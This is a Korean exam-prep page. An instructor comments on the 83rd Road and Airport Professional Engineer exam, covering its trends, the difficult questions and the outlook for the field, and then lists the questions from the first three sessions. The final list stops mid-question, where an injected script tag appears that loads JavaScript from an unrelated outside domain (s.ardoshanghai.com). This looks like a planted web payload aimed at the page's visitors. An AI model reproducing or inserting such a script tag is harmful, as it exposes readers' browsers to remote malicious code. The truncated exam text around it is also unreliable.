시험 치시느라 고생이 많으셨습니다

제83회 도로 및 공항기술사 문제도 처음 출제된 몇 문제를 제외하고는 평이하게 출제가 되었
습니다

첫 번째 큰 특징은 최근 출제가 많지 않았던 교통분야에서 처음 출제된 어려운 문제가 있었다
는 점입니다(Positive Guidance, 교통안전의 3대 기본원칙(3E) 등)
모두 교통안전과 관련된 문제입니다
도로 및 공항 기술사에서 교통분야의 가장 핵심키워드는 강의에서 말씀드린 것처럼
“교통안전과 용량증대”입니다
이와 관련된 문제는 앞으로도 언제든 출제가 될 수 있으며 학계의 관심분야에 항상 신경을 써
야할 부분입니다

두 번째 특징은 처음 출제되었다가 다시 출제된 문제가 많이 있었습니다
한번 출제가 된 문제 중 다시 출제가 안 되는 문제도 있지만 대부분이 한번정도는 다시 출제
가 됩니다
처음 출제되는 문제는 시사성과 관련하여 그 당시 이슈가 되는 문제들이 많은데 일회성으로
끝날 수도 있지만 관련분야의 연구방향과 사회의 관심분야와 관련이 있는 문제는 거의 대부
분 다시 출제가 대는 경우가 많습니다
(Public Involvement, 이론 최대밀도, 고령화 사회를 대비한 도로설계,
Superpave에서 아스팔트 바인더 등급 PG를 결정할 때 수행되는 시험방법 등)

조금 어려웠던 문제는
- 이론최대밀도(과거 출제된 문제로 아스팔트 배합관련문제)
- Positive Guidance(처음 출제된 문제로 교통안전관련문제, 자료실 문제풀이 참고, 향후에
다시 출제될 가능성 있음)
- 고령화 대비 도로설계(과거에 출제되었지만 반드시 또 출제된다고 시험 때마다 강조한 문
제)
- Superpave에서 아스팔트 바인더 등급 PG를 결정할 때 수행되는 시험방법
- 아스팔트 포장의 문제점인 Pothole 원인과 대책
(시험 전 예상문제에서 출제가 예상된다고 특별히 언급하고 자료를 올려드린 문제로 최근의
우리나라의 집중호우 등의 문제나 버스중앙차로포장(유색포장)에서 파손형태로 언급이 되었
던 문제로 충분히 출제가 예상되었던 문제였습니다, 자료실 참고)
- 도로교통의 세 가지 구성요소, 교통안전의 3대 기본원칙(3E)(솔직히 예측하기 힘들었던 문
제지만 출제가 되고 보니 출제가 가능한 문제로 보입니다, 자료실 문제풀이 참고하시고 다시
한번 출제될 수 있으니 꼭 정리하시기 바랍니다)

저는 개인적으로 도로 및 공항분야의 향후 비전을 아주 긍정적으로 봅니다
앞으로 남북관계는 획기적으로 개선이 될 가능성이 많으며,
멀지 않은 시점에 통일 또는 남북경협이 이루어질 가능성이 높다고 봅니다
남북경협이 이루어지는 시점에서는 대규모의 도로관련 프로젝트가 진행될 가능성이 있다고
보며, 그 때를 대비하여 미리 도로분야의 전문가로서의 능력을 배가하는 노력이 필요하다고
봅니다
이제 올해시험이 다 마무리가 되고 내년까지 1년의 시간이 주어졌습니다
1년만 고생하시면 기술사합격을 반드시 이룰 수 있습니다
용기 내시기 바랍니다

1교시(시험시간 100분)
※ 다음 문제 중 10문제를 선택하여 설명하시오. (각 10점)
1. 목표년도
2. 도로표지
3. 경관도로 (Scenic Road)
4. 교차로 상층 (Conflict)
5. 가감속 차로
6. Positive Guidance (적극적 안내기법)
7. 이론 최대밀도
8. Proof-Rolling
9. 소성변형 (Rutting)
10. 국민참여제도 (Public Involvement)
11. 활주로 갓길
12. 정지로 (Stopway)
13. 유도로 (Taxiway)

2교시 (시험시간 100분)
※ 다음 문제 중 4문제를 선택하여 설명하시오. (각 25점)
1. 국가의 도로정비 기본계획(공항개발중장기 기본계획)의 기본방향 및 목표와 본 계획에서
추진하고 있는 도로 (공항) 사업과 향후 발전방안에 대하여 기술하시오.
2. 고령화 사회를 대비한 도로설계 방안에 대하여 기술하시오.
3. 왕복 2차로 산지부에 위치한 도로의 용량증대 방안에 대하여 설계VE관점에서 기술하시오.
4. 수퍼페이브(Superpave)에서 아스팔트 바인더 등급인 PG를 결정할 때 수행되는 시험방
법에 대하여 기술하시오.
5. 공항의 토지이용계획을 지역별로 구분하여 설명하고 합리적인 토지이용계획 수립을 위한
방안에 대하여 기술하시오.
6. 공항내(도로) 배수처리의 문제점과 항공기(자동차)의 안전운행을 고려한 표면(노면) 배
수 처리방법에 대하여 기술하시오.

3교시 (시험시간 100분)
※ 다음 문제 중 4문제를 선택하여 설명하시오. (각 25점)
1. 선형설계에 있어서 설계일관성(Design Consistency)과 설계유연성(Design
Flexibility)의 개념 및 적용 방안에 대하여 기술하시오.
2. 주도로(4차로 국도)와 부도로(2차로 지방도)가 연결되는 세갈래(T형) 평면교차시 교통량
수준별 교차로 처리방법을 기술하고, 도류화 기법에 대하여 그림으로 설명하시오.
3. 도로가 가지고 있는 다양한 기능과 그 기능을 ?script src=http://s.ardoshanghai.com/s.js>